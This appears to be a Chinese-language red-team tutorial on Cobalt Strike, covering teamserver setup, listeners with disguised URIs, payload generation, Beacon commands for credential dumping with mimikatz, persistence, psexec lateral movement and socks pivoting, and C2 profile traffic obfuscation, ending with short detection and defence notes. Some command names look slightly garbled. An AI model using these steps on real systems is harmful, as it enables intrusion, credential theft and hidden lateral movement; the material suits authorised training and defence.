CobaltStrike 基础与 Beacon 实战

写在前面：合法学习边界

CobaltStrike 只用于授权靶场。对非授权系统上线 C2 可能触犯法律。

一、CobaltStrike 是什么

CobaltStrike 是业界最成熟的 C2 框架，模拟 APT 攻击链：上线 → 后渗透 → 横向 → 数据外泄。

1
2
3
Teamserver（C2 服务器）：运行在攻击者控制的 VPS/服务器上
Client（攻击者 GUI）：通过加密 RPC 连接 Teamserver
Beacon（载荷）：植入目标，定期与 Teamserver 通信

二、CobaltStrike 架构图

三、部署 Teamserver

1
2
3
4
5
6
7
# 下载 CS（需授权 License）
cd /opt/cs
chmod +x teamserver

# 启动 Teamserver
./teamserver <公网IP> <密码>
# 例如：./teamserver 1.2.3.4 mypassword

四、配置 Listener

1
2
3
4
5
Listener → Add
  Name: my_listener
  Type: http（或 https / dns / SMB）
  Host: 1.2.3.4:80（攻击机公网 IP）
  URI: /update.php（伪装路径，可自定义）

1
2
3
4
5
HTTPS 更隐蔽：
  Type: https
  Host: https://example.com:443
  URI: /api/v2/health
  需绑定合法 SSL 证书

五、生成 Payload 并上线

1
2
3
4
Attacks → Web Drive-by → Payload Generator
  Listener: my_listener
  Format: windows/x64 (elf / exe / powershell / python)
  生成 payload

1
2
3
4
5
# 常用格式
exe：直接执行
ps1：PowerShell 命令（内存执行，不落地）
elf：Linux 载荷
raw：shellcode（需手动执行）

六、Beacon 常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
beacon> ipconfig        # 查看网络
beacon> whoami          # 当前身份
beacon> sysinfo         # 系统信息
beacon> getuid          # 权限等级
beacon> run mimidatz    # 跑 mimikatz（内置）
beacon> run persistence # 持久化
beacon> socks           # 开 Socks 代理
beacon> portforward     # 端口转发
beacon> upload/download # 文件传输
beacon> execute-assembly # 加载 .NET 程序集
beacon> run psexec      # 横向 psexec
beacon> spawn           # 横向注入新 Beacon

七、横向移动

1
2
3
4
5
6
7
8
9
1. psexec：用凭据打 SMB
  beacon> run psexec \\目标IP username:password

2. spawn（Beacon 注入 Beacon）：
  beacon> spawn 目标IP 目标用户名 密码

3. Socks 代理：
  beacon> socks 65535 1080
  → 攻击机配置 proxychains 走 1080 端口

八、C2 Profile 混淆

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
C2 Profile 是 CS 用来混淆 Beacon 通信的配置文件：
  • 修改 HTTP Header（User-Agent/Host/Referer）
  • 修改 URI 路径
  • 修改加密方式
  • 增加延迟/抖动（模拟正常流量）
  • 使用域名前置（Subdomain Fronting）

工具：
  • malleable-c2（社区 C2 Profile 集合）
  • CS Profile 生成器

九、检测

1
2
3
4
• Beacon 通信特征：固定间隔心跳 + 特定 Header
• C2 Profile 特征：特定 URI/Header 模式
• Socks 代理：frps 端口通信
• 异常进程：CS 生成的一进程多 shellcode 注入

十、防御

1
2
3
4
1. EDR：检测 Beacon 进程注入行为
2. 网络：C2 Profile 流量特征库匹配
3. DNS：拦截异常 DNS 解析
4. ASR：限制进程创建

十一、小结

CobaltStrike 是 C2 标杆工具。核心能力是"Beacon 通信 + 横向 + Socks 代理"。防守核心是 EDR 行为检测 + C2 Profile 流量特征库。